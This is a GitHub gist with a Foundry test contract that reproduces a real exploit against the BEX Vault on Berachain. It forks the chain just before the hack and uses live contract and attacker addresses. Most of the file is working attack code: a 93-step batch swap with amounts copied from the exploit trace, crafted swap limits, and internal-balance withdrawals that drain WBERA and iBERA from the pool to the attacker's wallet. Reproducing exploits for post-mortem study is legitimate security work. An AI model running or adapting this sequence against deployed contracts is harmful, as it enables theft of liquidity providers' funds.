Skip to content

Instantly share code, notes, and snippets.

@sandybradley
Last active December 8, 2025 13:39
Show Gist options
  • Select an option

  • Save sandybradley/1a78f26bb49d14f23bc933652b574bf9 to your computer and use it in GitHub Desktop.

Select an option

Save sandybradley/1a78f26bb49d14f23bc933652b574bf9 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "forge-std/console.sol";
interface IBEXVault {
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL }
struct UserBalanceOp { UserBalanceOpKind kind; address asset; uint256 amount; address sender; address payable recipient; }
struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; }
struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; }
enum SwapKind { GIVEN_IN, GIVEN_OUT }
function getInternalBalance(address user, address[] memory tokens) external view returns (uint256[] memory);
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
address[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external returns (int256[] memory assetDeltas);
function getPoolTokens(bytes32 poolId) external view returns (
address[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
}
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
}
interface IPool {
function updateTokenRateCache(address token) external;
}
contract BEXExploitTest is Test {
IBEXVault public constant VAULT = IBEXVault(0x4Be03f781C497A489E3cB0287833452cA9B9E80B);
address public constant POOL = 0x62C030B29a6Fef1B32677499e4a1F1852a8808c0;
address public constant WBERA = 0x6969696969696969696969696969696969696969;
address public constant IBERA = 0x9b6761bf2397Bb5a6624a856cC84A3A14Dcd3fe5;
bytes32 public constant POOL_ID = 0x62c030b29a6fef1b32677499e4a1f1852a8808c00000000000000000000000c6;
address attacker;
function setUp() public {
// Block 12623717 is right before the hack at block 12623718
vm.createSelectFork("https://rpc.berachain.com", 12623717);
attacker = makeAddr("attacker");
deal(attacker, 10 ether);
// Real attacker had 0 BPT - they relied on Vault's internal balance netting
vm.label(attacker, "Attacker");
vm.label(address(VAULT), "BEX Vault");
vm.label(POOL, "Victim Pool");
vm.label(WBERA, "WBERA");
vm.label(IBERA, "iBERA");
vm.startPrank(attacker);
}
function test_CheckPoolState() public view {
console.log("=== POOL STATE AT BLOCK 12623717 ===");
(address[] memory tokens, uint256[] memory balances,) = VAULT.getPoolTokens(POOL_ID);
for (uint i = 0; i < tokens.length; i++) {
console.log("Token:", tokens[i]);
console.log(" Balance:", balances[i]);
}
// Check actual attacker's BPT balance
address realAttacker = 0xB5B9F9F965B43c579166745f3e9484109888286d;
uint256 attackerBPT = IERC20(POOL).balanceOf(realAttacker);
console.log("\nReal attacker BPT balance:", attackerBPT);
}
function test_ExploitAndDrainToEOA() public {
// This test needs BPT to start (uses fromInternalBalance: false)
deal(POOL, attacker, 1e18);
// 1. Update rate cache
IPool(POOL).updateTokenRateCache(IBERA);
// 2. Approve BPT
IERC20(POOL).approve(address(VAULT), type(uint256).max);
// 3. Batch swap: BPT → WBERA + iBERA (GIVEN_OUT)
address[] memory assets = new address[](3);
assets[0] = POOL; assets[1] = WBERA; assets[2] = IBERA;
IBEXVault.BatchSwapStep[] memory swaps = new IBEXVault.BatchSwapStep[](2);
swaps[0] = IBEXVault.BatchSwapStep(POOL_ID, 0, 1, 1e6, ""); // 1 WBERA
swaps[1] = IBEXVault.BatchSwapStep(POOL_ID, 0, 2, 1e6, ""); // 1 iBERA
int256[] memory limits = new int256[](3);
limits[0] = int256(1e18); // max BPT in
limits[1] = -int256(1e6); // min WBERA out
limits[2] = -int256(1e6); // min iBERA out
IBEXVault.FundManagement memory funds = IBEXVault.FundManagement(
attacker, false, payable(attacker), true
);
int256[] memory deltas = VAULT.batchSwap(
IBEXVault.SwapKind.GIVEN_OUT, swaps, assets, funds, limits, block.timestamp + 300
);
uint256 bptIn = uint256(-deltas[0]);
console.log("BPT paid:", bptIn);
console.log("WBERA out:", uint256(deltas[1]));
console.log("iBERA out:", uint256(deltas[2]));
// 4. Check internal balance
address[] memory tokens = new address[](2);
tokens[0] = WBERA; tokens[1] = IBERA;
uint256[] memory bal = VAULT.getInternalBalance(attacker, tokens);
console.log("Internal WBERA:", bal[0]);
console.log("Internal iBERA:", bal[1]);
// 5. EXPLOIT: Withdraw internal → EOA (via manageUserBalance)
IBEXVault.UserBalanceOp[] memory ops = new IBEXVault.UserBalanceOp[](2);
ops[0] = IBEXVault.UserBalanceOp({
kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL,
asset: WBERA,
amount: bal[0],
sender: attacker,
recipient: payable(attacker)
});
ops[1] = IBEXVault.UserBalanceOp({
kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL,
asset: IBERA,
amount: bal[1],
sender: attacker,
recipient: payable(attacker)
});
// This sends to EOA!
VAULT.manageUserBalance{value: 0}(ops);
// 6. Profit!
uint256 finalWBERA = IERC20(WBERA).balanceOf(attacker);
uint256 finalIBERA = IERC20(IBERA).balanceOf(attacker);
console.log("Final WBERA in EOA:", finalWBERA);
console.log("Final iBERA in EOA:", finalIBERA);
assertGt(finalWBERA, 0, "No WBERA drained");
assertGt(finalIBERA, 0, "No iBERA drained");
console.log("Exploit successful! Drained to EOA.");
}
/*
* NOTE: This test attempts to recreate the exact 93-swap sequence from the real exploit.
*
* It uses the exact swap amounts from the exploit trace to ensure the swaps execute correctly.
*
* The CORE VULNERABILITY is fully demonstrated in test_ExploitAndDrainToEOA():
* 1. Batch swap with toInternalBalance=true accumulates tokens in Vault internal balance
* 2. manageUserBalance(WITHDRAW_INTERNAL) can send those tokens to an EOA
* 3. This bypasses the intended BPT-only withdrawal mechanism
*/
function test_ComplexExploitWithMultipleSwaps() public {
console.log("=== COMPLEX EXPLOIT: Recreating actual ibera/wbera pool hack ===");
// Real attacker had 0 BPT! They relied on Vault's internal balance netting
// No deal() needed - vault will net the swaps
uint256 initialBPT = IERC20(POOL).balanceOf(attacker);
console.log("Initial BPT balance:", initialBPT);
// 1. Update rate cache for iBERA
console.log("\n[1] Updating iBERA rate cache...");
IPool(POOL).updateTokenRateCache(IBERA);
// 2. Approve BPT
console.log("[2] Approving BPT...");
IERC20(POOL).approve(address(VAULT), type(uint256).max);
// 3. Build complex batch swap array (93 swaps total)
console.log("[3] Building complex batch swap (93 swaps)...");
address[] memory assets = new address[](3);
assets[0] = POOL; // BPT
assets[1] = WBERA; // WBERA
assets[2] = IBERA; // iBERA
IBEXVault.BatchSwapStep[] memory swaps = new IBEXVault.BatchSwapStep[](93);
uint256 idx = 0;
{
// Phase 1: BPT → WBERA and BPT → iBERA (exact amounts from exploit trace)
// These amounts were carefully crafted to work with the pool's swap calculations
uint256[24] memory phase1Amounts = [
uint256(111588918027812644504598), uint256(122997064900339905875121),
uint256(1115889180278126445046), uint256(1229970649003399058751),
uint256(11158891802781264450), uint256(12299706490033990587),
uint256(111588918027812645), uint256(122997064900339906),
uint256(1115889180278126), uint256(1229970649003399),
uint256(11158891802782), uint256(12299706490034),
uint256(111588918027), uint256(122997064901),
uint256(1115889181), uint256(1229970649),
uint256(11158891), uint256(12299706),
uint256(111589), uint256(122997),
uint256(1116), uint256(1230),
uint256(12), uint256(13)
];
for (uint256 i = 0; i < 12; i++) {
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 0, 1, phase1Amounts[i * 2], "");
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 0, 2, phase1Amounts[i * 2 + 1], "");
}
}
{
// Phase 2: Alternating swaps between WBERA ↔ iBERA
// Pattern: 2 WBERA→iBERA, 1 iBERA→WBERA, repeat
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 8665, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 63000, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 7102, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 49500, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 5898, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 38700, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 5399, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 30600, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 4904, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 25200, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 4677, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 19800, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 3654, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 16200, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 3493, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 13500, ""); // iBERA → WBERA
// Continue with more complex patterns
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 3256, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 10800, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 2757, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 9000, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 2532, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 7830, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 2381, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 6750, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 2160, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 6030, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1987, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 4941, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1352, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 4455, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1299, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 4212, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1237, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 4230, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1552, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 3870, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1441, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 3078, ""); // iBERA → WBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 1004, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 2, 34, ""); // WBERA → iBERA
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 1, 3078, ""); // iBERA → WBERA
}
{
// Phase 3: Swap back to BPT (increasing amounts)
uint256[] memory backAmounts = new uint256[](14);
backAmounts[0] = 10000;
backAmounts[1] = 10000000;
backAmounts[2] = 10000000000;
backAmounts[3] = 10000000000000;
backAmounts[4] = 10000000000000000;
backAmounts[5] = 10000000000000000000;
backAmounts[6] = 10000000000000000000000;
backAmounts[7] = 112117974432634393243678;
backAmounts[8] = 112117974432634393243678;
for (uint256 i = 0; i < 7; i++) {
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, (i % 2 == 0) ? 1 : 2, 0, backAmounts[i], "");
}
// Final two large swaps back to BPT
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 2, 0, backAmounts[7], "");
swaps[idx++] = IBEXVault.BatchSwapStep(POOL_ID, 1, 0, backAmounts[8], "");
}
{
// 4. Execute batch swap with internal balance
console.log("[4] Executing complex batch swap...");
int256[] memory limits = new int256[](3);
// CRITICAL: Use EXACT limits from real exploit
// These specific values allow the internal balance netting to complete
// The value is: 2^254 - 2^128 (approximately)
int256 exploitLimit = int256(1809251394333065553493296640760748560207343510400633813116524750123642650624);
limits[0] = exploitLimit; // BPT limit
limits[1] = exploitLimit; // WBERA limit
limits[2] = exploitLimit; // iBERA limit
IBEXVault.FundManagement memory funds = IBEXVault.FundManagement(
attacker,
true, // fromInternalBalance (MUST match exploit - vault handles netting)
payable(attacker),
true // toInternalBalance (store in internal balance)
);
int256[] memory deltas = VAULT.batchSwap(
IBEXVault.SwapKind.GIVEN_OUT,
swaps,
assets,
funds,
limits,
block.timestamp + 300
);
console.log("\nBatch swap results:");
console.log(" BPT delta:", uint256(-deltas[0]));
console.log(" WBERA delta:", deltas[1] < 0 ? uint256(-deltas[1]) : uint256(deltas[1]));
console.log(" iBERA delta:", deltas[2] < 0 ? uint256(-deltas[2]) : uint256(deltas[2]));
}
// 5. Check internal balances
console.log("\n[5] Checking internal balances...");
address[] memory checkTokens = new address[](3);
checkTokens[0] = POOL;
checkTokens[1] = WBERA;
checkTokens[2] = IBERA;
uint256[] memory internalBal = VAULT.getInternalBalance(attacker, checkTokens);
console.log(" Internal BPT:", internalBal[0]);
console.log(" Internal WBERA:", internalBal[1]);
console.log(" Internal iBERA:", internalBal[2]);
// 6. EXPLOIT: Withdraw all internal balances to EOA
console.log("\n[6] EXPLOIT: Withdrawing internal balances to EOA...");
uint256 opsCount = 0;
if (internalBal[0] > 0) opsCount++;
if (internalBal[1] > 0) opsCount++;
if (internalBal[2] > 0) opsCount++;
IBEXVault.UserBalanceOp[] memory ops = new IBEXVault.UserBalanceOp[](opsCount);
uint256 opIdx = 0;
if (internalBal[0] > 0) {
ops[opIdx++] = IBEXVault.UserBalanceOp({
kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL,
asset: POOL,
amount: internalBal[0],
sender: attacker,
recipient: payable(attacker)
});
}
if (internalBal[1] > 0) {
ops[opIdx++] = IBEXVault.UserBalanceOp({
kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL,
asset: WBERA,
amount: internalBal[1],
sender: attacker,
recipient: payable(attacker)
});
}
if (internalBal[2] > 0) {
ops[opIdx++] = IBEXVault.UserBalanceOp({
kind: IBEXVault.UserBalanceOpKind.WITHDRAW_INTERNAL,
asset: IBERA,
amount: internalBal[2],
sender: attacker,
recipient: payable(attacker)
});
}
VAULT.manageUserBalance{value: 0}(ops);
// 7. Show profit
console.log("\n[7] PROFIT CALCULATION:");
uint256 finalBPT = IERC20(POOL).balanceOf(attacker);
uint256 finalWBERA = IERC20(WBERA).balanceOf(attacker);
uint256 finalIBERA = IERC20(IBERA).balanceOf(attacker);
console.log(" Final BPT in EOA:", finalBPT);
console.log(" Final WBERA in EOA:", finalWBERA);
console.log(" Final iBERA in EOA:", finalIBERA);
console.log(" BPT change:", finalBPT > initialBPT ? int256(finalBPT - initialBPT) : -int256(initialBPT - finalBPT));
// Verify the exploit worked
assertGt(finalWBERA + finalIBERA, 0, "No tokens drained");
console.log("\n=== EXPLOIT SUCCESSFUL! Pool drained to EOA ===");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment